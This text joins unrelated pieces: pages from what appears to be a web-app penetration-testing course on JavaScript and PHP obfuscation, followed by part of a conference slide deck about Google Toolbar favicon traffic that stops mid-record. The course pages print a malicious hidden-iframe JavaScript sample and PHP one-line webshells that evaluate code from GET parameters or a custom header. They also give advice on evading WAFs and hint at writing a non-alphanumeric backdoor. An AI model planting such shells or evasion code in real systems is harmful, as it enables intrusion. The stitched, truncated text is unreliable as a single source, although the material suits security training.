[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]
+!+[]]+(!![]+[])[+[]]+(!![]+[]) [continue]
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
To make JavaScript run faster, developers often use tools
that compile JavaScript into more compact and higher
performing code.
By using these tools, it is also possible to obfuscate code
and evade detection. This is what we are going to be
looking for in this chapter.
2.3.2 JavaScript Compressing
| p.63
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
The process of minifying JavaScript code is by removing all
unnecessary characters without changing the functionality
of the original code.
Basically, all characters are removed that are used to add
readability to the code. These characters are ignored by the
interpreter. Examples of these are: whitespaces, new line,
comments.
2.3.2.1 Minifying
| p.64
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Let’s consider the following JavaScript malware code:
/* Make a Frame*/
function MakeFrameEx(){
element = document.getElementById('yahoo_api');
if (!element){
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://10.10.10.21/do?' //source obfuscated
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1))
&& ua.indexOf("windows") !=- 1){
var t = setTimeout("MakeFrameEx()", 1000)
}
Original code taken from http://aw-snap.info/articles/js-examples.php
| p.65
2.3.2.1 Minifying
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Once minified, we have something like the following:
function
MakeFrameEx(){element=document.getElementById('yahoo_api');if(!element){var
el=document.createElement('iframe');document.body.appendChild(el);el.id='yahoo_api
';el.style.width='1px';el.style.height='1px';el.style.display='none';el.src='http:
//10.10.10.21/do?'}}var
ua=navigator.userAgent.toLowerCase();if(((ua.indexOf("msie")!=-
1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-
1){var t=setTimeout("MakeFrameEx()",1000)}
| p.66
2.3.2.1 Minifying
As you may notice, even if the code is compact, it is still possible
to read it without any issues other than a minor inconvenience.
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
The minification technique is very useful compressing large
libraries. For example, jQuery libraries are already
compressed.
/*! jQuery v2.1.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
!function(a,b){"object"==typeof module&&"object"==typeof
module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new
Error("jQuery requires a window with a document");return
b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var
c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="
".trim,l={},m=a.document,n="2.1.0",o=function(a,b){return new o.fn.init(a,b)},p=/^-ms-
/,q=/-([\da-z])/gi,r=function(a,b) [continue]
Original code taken from http://code.jquery.com/jquery-2.1.0.min.js
| p.67
2.3.2.1 Minifying
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
https://developers.google.com/closure/compiler/
http://yui.github.io/yuicompressor/
http://crockford.com/javascript/jsmin
http://dean.edwards.name/packer/
The Internet is full of tools that can minify JavaScript.
Here are some valuable sources:
▪
Closure compiler by Google
▪
YUICompressor by Yahoo
▪
JSMin by Douglas Crockford
▪
Packer by Dean Edwards (Minified and Packer)
| p.68
2.3.2.1 Minifying
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
A more complex way to minify JavaScript code is by
packing. A packer compresses the minified code by
shortening variable names, functions and other operations.
In other words, it makes the code unreadable.
2.3.2.2 Packing
| p.69
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
This is a screenshot of
the previous JavaScript
malware packed with
Dean Edwards's tool.
2.3.2.2 Packing
| p.70
Packing options
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
You’ve been studying quite
intently. We recommend taking
a quick break and come back
refreshed. ^_^
| p.71
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
2.4
PHP Obfuscation
Techniques
| p.72
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Fundamentally, there are two reasons why PHP obfuscation
techniques exist. The first is because developers need a
way to make it more difficult for others to use their code,
thereby protecting their intellectual property. The second is
aimed at defeating security systems (IDS & Co.).
Of course, the second option is more interesting and
applicable for our needs. This is especially true in
understanding how to leverage some of the language
features to obfuscate our attacks.
2.4 PHP Obfuscation Techniques
| p.73
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
NOTE: This quote is a reminder because of the fact that
this chapter is no where near a complete guide to PHP
Obfuscation. The goal here is to both present some basilar
techniques and analyze their power and effectiveness.
2.4 PHP Obfuscation Techniques
| p.74
"The ways of PHP obfuscation are infinite…"
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
PHP is a popular language for web applications. Its main
advantage is that it is simple and easy to learn, even by
novice programmers. Another advantage is the easily
readable code.
While during programming, this is a good thing, especially if
you want to deploy code that is used for offensive
operations, as it should be formatted in a way no one can
say what it does at first sight. That’s why we want to
obfuscate PHP code.
2.4.1 Basic Language Reference
| p.75
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Just like JavaScript, PHP is a dynamically typed language.
This means that it is possible to do things such as type
juggling.
In other words, PHP does not require/support explicit type
definition in variable declaration.
2.4.1.1 Type Juggling
| p.76
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Basically, in PHP, a variable's type is determined by the context in
which the variable is used. In the example below, if you assign a
string value to variable $joke it becomes a string, if you then
assign an integer the type changes, and so on.
2.4.1.1 Type Juggling
| p.77
$joke = "1";
$joke++;
$joke += 19.8;
$joke = 8 + "7 -Ignore me please-";
$joke = "a string" + array("1.1 another string")[0];
$joke = 3+2*(TRUE+TRUE);
$joke .= '';
$joke +='';
// string(1) "1"
// int(2)
// float(21.8)
// int(15)
// float(1.1)
// int(7)
// string(1) "7"
// int(7)
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
The first useful data type set in PHP obfuscation is related
to numbers. With numerical data types, just like in
JavaScript, we can either access elements inside strings or
inside arrays. Then, we can use them to generate
characters and a great deal more.
Let’s check out the following examples.
2.4.1.2 Numerical Data Types
| p.78
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Access String / Integer Numbers
$x='Giuseppe';
echo $x[0]; // decimal index (0) > 'G'
echo $x[0001]; // octal index (1) > 'i'
echo $x[0x02]; // hexadecimal index (2) > 'u'
echo $x[0b11]; // binary index (3) > 's'
2.4.1.2 Numerical Data Types
| p.79
Binary integer literals are available since PHP 5.4.0
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Access String / Integer Numbers
The following image, according to the PHP documentation,
describes how the structure for integer literals are:
2.4.1.2 Numerical Data Types
| p.80
integer
decimal
[1-9][0-9]* or 0
hexadecimal
0[xX][0-9a-fA-F]+
octal
0[0-7]+
binary
0b[01]+
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Access String / Integer Numbers
Thus, the following example is still valid code:
$x='Giuseppe';
echo $x[0]; // decimal index (0) > 'G'
echo $x[00000000000001]; // octal index (1) > 'i'
echo $x[0x000000000002]; // hexadecimal index (2) > 'u'
echo $x[0b000000000011]; // binary index (3) > 's'
2.4.1.2 Numerical Data Types
| p.81
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Access String / Floating Numbers
Numerical data types also comprehend floating numbers.
$x='Giuseppe';
echo $x[0.1]; // floating (0.1) casted to 0 > 'G'
echo $x[.1e+1]; // exponential > 'i'
echo $x[0.2E+0000000000001]; // long exponential > 'u'
echo $x[1e+1-1E-1-5.999]; // exponential and floating
expression (3.901) casted
to 3 > 's'
2.4.1.2 Numerical Data Types
| p.82
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Access String / Floating Numbers
The following image, according to the PHP documentation,
describes how the structure for floating point literals are:
2.4.1.2 Numerical Data Types
| p.83
floating point
LNUM
[0-9]+
DNUM
([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM
[+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
‘Exotic’ Number Generation
Here is an example of an 'exotic' number generation:
$x='Giuseppe';
echo $x[FALSE]; // FALSE is 0 > 'G'
echo $x[TRUE]; // TRUE is 1 > 'i'
echo $x[count('hello')+true]; // count(object) is 1 > 'u'
echo $x["7rail"+"3er"-TRUE^0xA]; // PHP ignore trailing data > 's'
2.4.1.2 Numerical Data Types
| p.84
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://www.php.net/manual/en/language.types.type-
juggling.php#language.types.typecasting
‘Exotic’ Number Generation
In addition to our previous examples, it is possible to use the
casting functionalities PHP provides:
$x='Giuseppe';
echo $x[(int)"a common string"]; // 0 > 'G'
echo $x[(int)!0]; // True (1) > 'i'
echo $x[(int)"2+1"]; // 2 > 'u'
echo $x[(float)"3.11"]; // 3 > 's'
echo $x[boolval(['.'])+(float)(int)array(0)+floatval('2.1+1.2=3.3')];
// True(1)+1+2.1 = 4.2 (float) > 'e'
2.4.1.2 Numerical Data Types
| p.85
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
In PHP there are four different ways in which it is possible
to specify a string literal:
▪
single quoted
▪
double quoted
▪
heredoc syntax
▪
nowdoc syntax (since PHP 5.3.0)
2.4.1.3 String Data Types
| p.86
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
When working with type string it is common to use single'
and double " quoted delimiters.
The main difference between these two notations is that in
the first, variables and escape sequences for special
characters are not expanded, but in the second, they are.
2.4.1.3 String Data Types
| p.87
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Single / Double Quoted - Delimiters
$expand = 'expand, nay they do';
//Variables do not $expand, \n\t also escapes except ' and \ at the end of the string \
echo 'Variables do not $expand, \n\t also escapes except \' and \ at the end of the string \\';
//Variables do not expand, nay they do,
// also escapes
echo "Variables do not $expand, \n\t also escapes";
2.4.1.3 String Data Types
| p.88
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Single / Double Quoted - Escapes
The next table on the next slide contains the list of escape
sequences that PHP provides for special characters.
Notice that it is possible to use octal and hexadecimal
notations to represent characters.
2.4.1.3 String Data Types
| p.89
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Single / Double Quoted - Escapes
2.4.1.3 String Data Types
| p.90
SEQUENCE
MEANING
\n
linefeed (LF or 0x0A (10) in ASCII)
\r
carriage return (CR or 0x0D (13) in ASCII)
\t
horizontal tab (HT or 0x09 (9) in ASCII)
\v
vertical tab (VT or 0x0B (11) in ASCII) (since PHP 5.2.5)
\f
form feed (FF or 0x0C (12) in ASCII) (since PHP 5.2.5)
\\
backslash
\$
dollar sign
\"
double-quote
\[0-7]{1,3}
the sequence of characters matching the regular expression is a character in octal notation
\x[0-9A-Fa-f]{1,2}
the sequence of characters matching the regular expression is a character in hexadecimal notation
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Single / Double Quoted - Escapes
//I Love Be3r
echo "I\x20L\x6fve\40B\145\63r";
2.4.1.3 String Data Types
| p.91
SPACE
(hexadecimal)
LATIN SMALL LETTER O
(hexadecimal)
SPACE
(octal)
LATIN SMALL LETTER E
(octal)
DIGIT THREE
(octal)
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Single / Double Quoted – Variable Parsing
With the dollar sign ($), the parser tries to form a valid
variable name.
It is also possible to enclose the variable name in curly
braces to explicitly specify the end of the name.
2.4.1.3 String Data Types
| p.92
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Single / Double Quoted – Variable Parsing
$s = "\x20"; //Space character
echo "I$sLove Beer"; //There's no $sLove variable > I Beer
echo "I{$s}Love Beer"; // > I Love Beer
echo "I${s}Love Beer"; // > I Love Beer
echo "I{${s}}Love Beer"; // > I Love Beer
2.4.1.3 String Data Types
| p.93
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Single / Double Quoted – Variable Parsing
Even arrays, object methods, class functions with numerical
obfuscation are allowed.
$s = "\x20"; //Space character
$sp = " "; //Another space character
echo "I{$s[0]}Love{$sp[0]}Beer"; //> I Love Beer
echo "I{$s[(int)"I love Beer"]}Love{$sp[!true]}Beer";//> I Love Beer
echo ILoveBeer./**/.NULL; //> ILoveBeer
echo ILoveBeer.FALSE; //> ILoveBeer
echo "I{$s[eval($_GET['s'])]}Love Beer"; //Simple shell!> [SHELL-result]I Love Beer
2.4.1.3 String Data Types
| p.94
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Heredoc and Nowdoc
PHP offers other two alternatives to delimit strings:
Heredoc and Nowdoc. These are usually the preferred ways
among command-line programmers.
Basically, Heredoc is for double-quoted strings while
Nowdoc is for single-quoted strings.
2.4.1.3 String Data Types
| p.95
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Heredoc and Nowdoc
2.4.1.3 String Data Types
| p.96
$expand = 'expand, nay they do';
$nd = <<<'NOW'
Variables do not $expand, \n\t also escapes.\n This is
the Nowdoc syntax. \n Notice the single quotes used to
enclose the identifier (NOW)
NOW;
echo $nd;
> Variables do not $expand, \n\t also escapes.\n This is
the Nowdoc syntax. \n Notice the single quotes used to
enclose the identifier (NOW)
$expand = 'expand, nay they do';
$hd = <<<HERE
Variables do not $expand, \n\t also escapes.\n This is
the Heredoc syntax. \n Notice there is no quotes around
the identifier (HERE)
HERE;
echo $hd;
> Variables do not expand, nay they do,
also escapes.
This is the Heredoc syntax.
Notice there is no quotes around the identifier (HERE)
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Heredoc and Nowdoc
The identifier must contain only alphanumeric characters
and underscores. It must also start with a non-digit
character or underscore, thereby making these examples
still valid:
2.4.1.3 String Data Types
| p.97
echo <<<⊶
It works!
⊶;
echo <<<'🍺'
It works!
🍺;
echo <<<✄
It works!
✄;
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Variable Parsing > Complex (curly) Syntax
Now that we have seen how to specify a variable with
multiple notations, let’s focus on a specific case.
We now know that when a string is either specified in
double quotes or with Heredoc, variables are parsed within
it.
2.4.1.3 String Data Types
| p.98
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Variable Parsing > Complex (curly) Syntax
Basically, there are two types of syntax’s that the PHP
parser recognizes:
2.4.1.3 String Data Types
| p.99
Simple
The most common syntax, e.g.:
$love = "Beer";
echo "I ❤ $love";
Complex or Curly
This syntax can be recognized by the
curly braces surrounding the expression
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Variable Parsing > Complex (curly) Syntax
For our purpose, the Curly syntax is quite interesting since it
allows the use of complex expressions. It works simply by
adding the expression in the same way as it appears
outside the string, and then wraps it in { and }.
Let’s see how it works with some examples.
2.4.1.3 String Data Types
| p.100
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Variable Parsing > Complex (curly) Syntax
These are 3 different ways to define a variable named
$Beer:
${'Be'.'er'} = 'Club’; // Define $Beer
${'B'.str_repeat('e',2).'r'} = "Club"; // Define $Beer
${'B'.str_repeat('e',2).@false./*.*/'r'} = "Club"; // Define $Beer
2.4.1.3 String Data Types
| p.101
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Variable Parsing > Complex (curly) Syntax
Due to the fact that it is possible to access any scalar
variable, array element or object property, there are
countless ways to obfuscate code. For example, the
following snippet of code uses a class:
class beers {
const lovely= 'rootbeer';
}
$rootbeer = 'Club';
echo "I'd like a {${beers::lovely}}!"; //> I'd like a Club!
| p.102
2.4.1.3 String Data Types
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Even arrays are data types that are important to know. You
just need to consider the superglobals that handle user
input in order to realize how arrays are fundamental.
Let’s look at some examples.
2.4.1.4 Array Data Types
| p.103
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Accessing Individual Index of Array
$a = array(x=>123, xx=>456); // This could be a $_GET, $_POST, or any another superglobal
echo $a['x’]; // 'normal' usage > 123
echo $a[x]; // index without quotes > 123
echo $a["\x78"]; // hexadecimal notation > 123
echo $a["\170"]; // octal notation > 123
echo $a['x'.@false."\x78"];// 'normal' usage with padding and hex.notation> 456
2.4.1.4 Array Data Types
| p.104
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Take Advantage of Superglobals
Superglobals can be very useful to the obfuscation process. For
example, $_SERVER is full of interesting fields. We can manipulate
these both to increase the obfuscation level and evade security
mechanisms such as WAFs.
Let’s suppose we can generate our requests client-side and either
send headers like: User-Agent, Accept-Language, Accept-Encoding,
or send customized headers like MyHeader. Combining what we
have seen so far, we can generate the following payload.
2.4.1.4 Array Data Types
| p.105
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Take Advantage of Superglobals
Supposing we can send the custom header (MyHeader) to
inject our payload on the server-side, we have the following
code to evaluate our payload as PHP code:
echo <<<🍺
I{$_GET[eval($_SERVER['HTTP_MYHEADER'])]}Love beer
🍺;
2.4.1.4 Array Data Types
| p.106
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
It is important to notice that almost all web servers log GET
requests and sometimes POST too. It is almost certain that
these are monitored by some type of security mechanism.
For example, a simple way to evade WAFs is to not only
send your payload encrypted by using GET or POST, but also
the key to decrypt via a custom header.
2.4.1.4 Array Data Types
| p.107
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
An interesting feature, that is useful for our obfuscation
process and is provided by PHP, is called Variable
Variables (this is not a typo but a way to set a variable
name dynamically).
The notation is simple and is as follows:
▪
$var > variable name
▪
$$var > variable of $var variable
2.4.1.5 Variable Variables
| p.108
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Simple Example
$x = 'Love';
//Variable
$$x = 'Beer';
//Variable variable
echo $x;
//> Love
echo $$x;
//> Beer
echo $Love;
//> Beer
echo ${Love};
//> Beer
echo ${"Love"};
//> Beer
echo "$x ${$x}";
//> Love Beer
echo "$x ${Love}";
//> Love Beer
2.4.1.5 Variable Variables
| p.109
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
It is also possible to add more Dollar Signs.
With this way, it is very easy to create code very hard to
read, like the examples in the upcoming slides.
2.4.1.5 Variable Variables
| p.110
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Chained Dollar Signs
$x = "I"; $I = "Love"; $Love = "Beer"; $Beer = "So"; $So = "Much";
echo $x;
//>I
echo $$x;
//>Love
echo $$$x;
//>Beer
echo $$$$x;
//>So
echo $$$$$x;
//>Much
echo $x.$$x.$$$x.$$$$x.$$$$$x;
//>ILoveBeerSoMuch
2.4.1.5 Variable Variables
| p.111
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
$_SERVER Superglobal
This is a way to access the $_SERVER superglobal:
$$$$$$$$$$s = '_SERVER';
var_dump($$$$$$$$$$s);
//> NULL
var_dump($$$$$$$$$$$s);
//> string(7) "_SERVER"
var_dump($$$$$$$$$$$$s);
//> the $_SERVER array
2.4.1.5 Variable Variables
| p.112
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Of course, using these basic techniques the ways to
obfuscate your payload are countless. It is all up to your
imagination!
In any case, knowing how to obfuscate your payload using
alternative ways is a valuable skill.
2.4.1.5 Variable Variables
| p.113
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Let’s now put some "magic" in this PHP chapter!
Like in JavaScript, in PHP it is possible to write non-
alphanumeric encoded code. The mechanism is similar but
not the same, which is simply due to the fact that PHP
obviously lacks some of the JavaScript functions and
properties.
2.4.2 Non-Alphanumeric Code
| p.114
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/
The first explanation of this techniques was made by
Gareth Hayes in a blog post "Non alphanumeric code in
PHP”. He also wrote a tutorial "PHP nonalpha tutorial".
Without going too deep into this topic, let’s see some
interesting behaviors at the base of this technique to
generate strings.
2.4.2 Non-Alphanumeric Code
| p.115
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://php.net/manual/en/language.operators.increment.php
Arithmetic Operators
PHP follows Perl's convention when dealing with arithmetic
operations on character variables. For example:
$§ = 'a';
$§++;
//$§ = 'b'
$§ = 'z';
$§++;
//$§ = 'aa'
$§ = 'A';
$§++;
//$§ = 'B'
$§ = 'a1';
$§++;
//$§ = 'a2'
2.4.2.1 Strings Generation
| p.116
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Arithmetic Operators
Character variables can only be incremented and not
decremented. Only plain ASCII alphabets and digits (a-z, A-Z
and 0-9) are supported:
$§ = 'a';
$§--;
//$§ = 'a'
$§ = 'è';
$§++;
//$§ = 'è'
2.4.2.1 Strings Generation
| p.117
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
http://www.php.net/manual/en/language.operators.bitwise.php
Bitwise Operators
It is also possible to use Bitwise Operators on strings. For
example:
echo A&B; //> @
echo A|B; //> C
echo A^B; //U+0003 END OF TEXT
echo ~A; //U+00BE VULGAR FRACTION THREE QUARTERS> ¾
echo A<<B; //> 0
2.4.2.1 Strings Generation
| p.118
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Using String Output of Native PHP Objects
If we want to start from a string, we can use the Array
native object as follows:
$a = []; // Create an empty array object
$a = $a.!![];
// Convert the array to string > "Array"
$_ = $__ = ![]&!![]; // true & false generates the int(0) > 0
$__++; // Increment int(0) by one > 1
$_§ = $__§ = $a[$_]; // Access the position 0 of the "Array" string > "A"
$__§++; // Get the next char after A > "B"
echo $_§|$__§; // Echoes A|B > "C"
2.4.2.1 Strings Generation
| p.119
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
Source> http://web.archive.org/web/20160526025218/http://www.spentera.com/2011/09/non-
alphanumeric-php-simple-backdoor/
Now, try to imagine how code like the curly syntax or others
we have seen (in the basic section) could be useful with
this technique. Now, try to write your own shellscript!
Here’s a little hint:
$_="{"; #XOR char
echo ($_^"<").($_^">;").($_^"/");
#XOR Magic.. > GET
…
2.4.2.1 Strings Generation
| p.120
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
phpinfo()
Hackvector.co.uk provides two
options to encode php in non-
alphanumeric code.
This next example is a
phpinfo(); command encoded
with the first option: phpnonalpha
2.4.2.2 Hackvertor.co.uk
| p.121
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
phpinfo()
<?php
$§[]=$§;$§=$§.$§;$ϩ=+$§;$Ϫ=$ϩ;$Ϫ++;$ϫ=$Ϫ+$Ϫ;$Ϭ=$ϫ+$Ϫ;$ϭ=$Ϭ+$Ϫ;$Ϯ=$ϭ+$Ϫ;$ϯ=$Ϯ+$Ϫ;$ϰ=$ϯ+$Ϫ;$
ϱ=$ϰ+$Ϫ;$ї=$ϱ+$Ϫ;$Ұ=$§[$ϩ]|($§[$Ϭ]^);$ұ=$§[$Ϫ];$Ӥ=$§[$ϩ]|($§[$Ϫ]&â);$ӥ=$§[$ї+$Ϫ];$Ӧ=$Ұ^($
ϰ.ӥ);$ӧ=$Ӥ.$Ӧ.$ұ;$Ө=$ӧ($ї.$ϰ).$ӧ($Ϫ.$Ϫ.$Ϯ).$ӧ($Ϫ.$Ϫ.$Ϯ).$ӧ($Ϫ.$ϩ.$Ϫ).$ұ.$ӧ($Ϫ.$Ϫ.$ϯ);$Ө($ӧ(
$Ϫ.$Ϫ.$ϫ).$ӧ($Ϫ.$ϩ.$ϭ).$ӧ($Ϫ.$Ϫ.$ϫ).$ӧ($Ϫ.$ϩ.$Ϯ).$ӧ($Ϫ.$Ϫ.$ϩ).$ӧ($Ϫ.$ϩ.$ϫ).$ӧ($Ϫ.$Ϫ.$Ϫ).$ӧ(
$ϭ.$ϩ).$ӧ($ϭ.$Ϫ).$ӧ($Ϯ.$ї));
?>
| p.122
2.4.2.2 Hackvertor.co.uk
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
| p.123
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
Google URL Shortener
Preview of TinyURL.com/ph7xh4m
Non-alphanumeric PHP Simple Backdoor | Spentera
GitHub: JSFuck list
http://goo.gl/DpJnCq+
http://preview.tinyurl.com/ph7xh4m
http://web.archive.org/web/20160526025218/http://www.spentera.com/2011/09/non-
alphanumeric-php-simple-backdoor/
https://github.com/aemkei/jsfuck/blob/master/jsfuck.js
| p.124
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
How to Preview Shortened URLs (TinyURL, bit.ly, is.gd, and more)
t.co (Twitter)
RFC 3986
Hack.me
http://security.thejoshmeister.com/2009/04/how-to-preview-shortened-urls-tinyurl.html
http://t.co/
http://tools.ietf.org/html/rfc3986#page-16
https://hack.me/
| p.125
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
IP Converter
New XSS vectors/Unusual Javascript
jjencode demo
aaencode demo
http://www.silisoftware.com/tools/ipconverter.php
http://web.archive.org/web/20111128054051/http://sla.ckers.org/forum/read.php?2,15812,p
age=14
http://utf-8.jp/public/jjencode.html
http://utf-8.jp/public/aaencode.html
| p.126
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
JSFuck
YAUC Less chars needed to run arbitrary JS code = 6! (JS GREAT WALL)
Examples of malicious javascript
http://code.jquery.com/jquery-2.1.0.min.js
http://www.jsfuck.com/
http://web.archive.org/web/20110707162819/http://sla.ckers.org/forum/read.php?24,32930
http://aw-snap.info/articles/js-examples.php
http://code.jquery.com/jquery-2.1.0.min.js
| p.127
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
YUI Compressor
JSMin
Packer
https://developers.google.com/closure/compiler/
http://yui.github.io/yuicompressor/
http://crockford.com/javascript/jsmin
http://dean.edwards.name/packer/
| p.128
What is the Closure Compiler?
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
PHP Type Casting
Non alphanumeric code in PHP
PHP nonalpha tutorial
Incrementing/Decrementing Operators
http://www.php.net/manual/en/language.types.type-juggling.php#language.types.typecasting
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/
http://php.net/manual/en/language.operators.increment.php
| p.129
WAPTXv2: Section 01, Module 02 - Caendra Inc. © 2020
References
Bitwise Operators
http://www.php.net/manual/en/language.operators.bitwise.php
| p.130 | pdf |
Google Toolbar:
The NARC Within
“The” Google
What would we do
without them/it?
Google Toolbar:
The NARC Within
The problem:
URLS are the
geek tool?
URLs, URLs
everywhere...
Home, work,
on the go?
Google Toolbar:
The NARC Within
Google Toolbar is the
Solution?
Google Toolbar:
The NARC Within
Or just a tease?
Google Toolbar:
The NARC Within
Of course it's good, it's
free!
Google Toolbar:
The NARC Within
Installs easy..
Stores URLS..
Access them
wherever, whenever
you need it
No more lost URLS!
Happy!
Google Toolbar:
The NARC Within
Time passes....
You bookmark your
discoveries
Happy!
Google Toolbar:
The NARC Within
bookmark any pr0n?
Google Toolbar:
The NARC Within
Next day at work...
You log in to google
and of course use the
toolbar with all your
handy bookmarked
urls.
Corporate Security
You probably have
a corporate
security
department?
They probably
watch you?
Corporate Security
Maybe they watch
you closely?
Web proxies?
Web filtering?
Web reporting?
Toolbar Traffic
What happens
when you access
the toolbar?
Lets untangle...
Demonstration
What we
saw
For every url,
google
attempts a hit
to the
favicon.gif or
favicon.ico url
So?
Corporate Security
Remember they
watch you?
Top 10 porn
viewers now likely
includes you?
Even though you
didn't do anything.
Forensics
When they
investigate you
what will they see?
Bluecoat
Bluecoat one liner to watch traffic in realtime:
wget --user=admin --password=supersecret --no-check-certificate -O - -q
https://10.1.1.1:8082/Accesslog/tail-f//Access-Log
Pipe it through grep to narrow the target
| grep "10.2.2.2" | grep favicon
Forensics
index.dat files?
Nope..the toolbar generated the traffic, not IE.
Workarounds
Firefox Plugins to the rescue?:
Places pack from Andy Halford:
SyncPlaces:
https://addons.mozilla.org/en-US/firefox/addon/8426/
CheckPlaces:
https://addons.mozilla.org/en-US/firefox/addon/10897/
SortPlaces:
https://addons.mozilla.org/en-US/firefox/addon/9275/
WebDav or file=rsync
favicon.ico?
Stored in the .json file generated by syncplaces:
{"iconData":[
{"uri":"http://s.com/","faviconuri":"http://s.com/favicon.ic
o",
"mimeType":{"value":"image/png"},"data":
[137,80,78,71,13,10,26,10,0,0,0,13,73,72........
Not so fast...
Retrieve,import
bookmarks via
syncplaces also
triggers firefox to
attempt favicon hits
just like google
toolbar.
What to do?
Duh...
quit
looking
at porn!
What else to do?
Or, write some
code to straighten
up the .json and
remove bookmarks
that you don't want
ending up at work.
Toolbar p0wnage?
So what else can we do with this toolbar information?
Normal user agent:
Toolbar p0wnage?
Quite detailed client version info from google:
Profiling/Dating? (aka stalking)
IP/Bookmark tag cloud from coffee shop wifi?
http://tagcrowd.com/
http://www.wordle.net/create
Python/regex= new tool gtoolbarsnoop.py?
tcpdump -i eth0 -s0 -w – port 80| ./gtoolbarsnoop.py --icons --titles -f -
Demonstration
What else?
Deleted
Bookmarks?!
Bookmark forensics
Allocated bookmark:
<bookmark>
<title>Yahoo!</title>
<url>http://www.yahoo.com/?r0=1277010878</url>
<timestamp>1277012340477390</timestamp>
<id>17266698985382022972</id>
<attributes>
<attribute>
<name>favicon_url</name>
<value>http://www.yahoo.com/favicon.ico</value>
</attribute>
</attributes>
</bookmark
Bookmark forensics
Deleted bookmark:
<bookmark>
<title>BP Global | BP</title>
<url>http://www.bp.com/bodycopyarticle.do?
categoryId=1&contentId=7052055</url>
<timestamp>1277010823575646</timestamp>
<id>17521067242763822402</id>
<labels>
